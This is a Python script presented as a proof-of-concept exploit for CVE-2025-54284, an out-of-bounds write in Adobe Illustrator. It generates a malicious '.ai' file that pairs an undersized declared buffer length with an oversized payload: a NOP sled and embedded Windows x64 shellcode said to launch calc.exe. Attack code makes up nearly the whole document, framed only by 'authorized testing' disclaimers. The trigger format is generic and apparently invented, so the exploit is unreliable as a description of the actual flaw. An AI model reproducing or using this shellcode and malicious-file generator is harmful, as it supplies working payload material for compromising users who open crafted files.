CVE-2025-54284

# CVE-2025-54284 PoC - Adobe Illustrator Out-of-Bounds Write # This is a conceptual PoC demonstrating the exploitation approach # for the out-of-bounds write vulnerability in Adobe Illustrator import struct import sys class IllustratorOOBWriteExploit: """ PoC generator for CVE-2025-54284 Adobe Illustrator Out-of-Bounds Write Vulnerability """ # Shellcode placeholder - replace with actual payload # This is a generic Windows x64 calc.exe shellcode for demonstration SHELLCODE = ( b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" b"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" b"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" b"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20" b"\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48" b"\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00" b"\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48" b"\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9" b"\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c" b"\x03\x4c\x24\x08\x39\x14\x24\x75\xda\x58\x44\x8b\x40" b"\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c" b"\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41" b"\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec" b"\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" b"\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00" b"\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" b"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95" b"\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80" b"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41" b"\x89\xda\xff\xd5" ) def __init__(self, output_file="exploit.ai"): self.output_file = output_file self.buffer_size = 256 # Normal expected buffer size self.overflow_size = 1024 # Overflow amount to trigger OOB write def create_malicious_header(self): """Create a malformed AI file header that triggers OOB write""" # Adobe Illustrator file signature header = b"%!PS-Adobe-3.0 EPSF-3.0\n" header += b"%%BoundingBox: 0 0 612 792\n" header += b"%%Creator: Adobe Illustrator\n" return header def craft_overflow_payload(self): """ Craft the overflow payload that triggers the out-of-bounds write. The payload contains: 1. Normal data to fill the buffer 2. Overflow data to overwrite adjacent memory 3. Shellcode or ROP chain for code execution """ # Fill the buffer with normal data payload = b"A" * self.buffer_size # Overwrite return address / function pointer # Using a NOP sled + shellcode approach nop_sled = b"\x90" * 64 # Combine overflow data payload += nop_sled payload += self.SHELLCODE # Padding to ensure overflow reaches critical structures payload += b"\x00" * (self.overflow_size - len(nop_sled) - len(self.SHELLCODE)) return payload def generate_exploit_file(self): """Generate the malicious Illustrator file""" try: with open(self.output_file, "wb") as f: # Write valid header f.write(self.create_malicious_header()) # Write malicious data section that triggers OOB write # The key is to declare a small buffer size but provide larger data f.write(b"%%DataSection Start\n") f.write(struct.pack("<I", self.buffer_size)) # Declared size f.write(self.craft_overflow_payload()) # Actual oversized data f.write(b"\n%%DataSection End\n") # Add valid trailer f.write(b"%%EOF\n") print(f"[+] Malicious file generated: {self.output_file}") print(f"[!] WARNING: This file exploits CVE-2025-54284") print(f"[!] Only use for authorized security testing") return True except Exception as e: print(f"[-] Error generating exploit file: {e}") return False def main(): print("=" * 60) print("CVE-2025-54284 - Adobe Illustrator OOB Write PoC") print("Educational/Research purposes only") print("=" * 60) exploit = IllustratorOOBWriteExploit() exploit.generate_exploit_file() if __name__ == "__main__": main()

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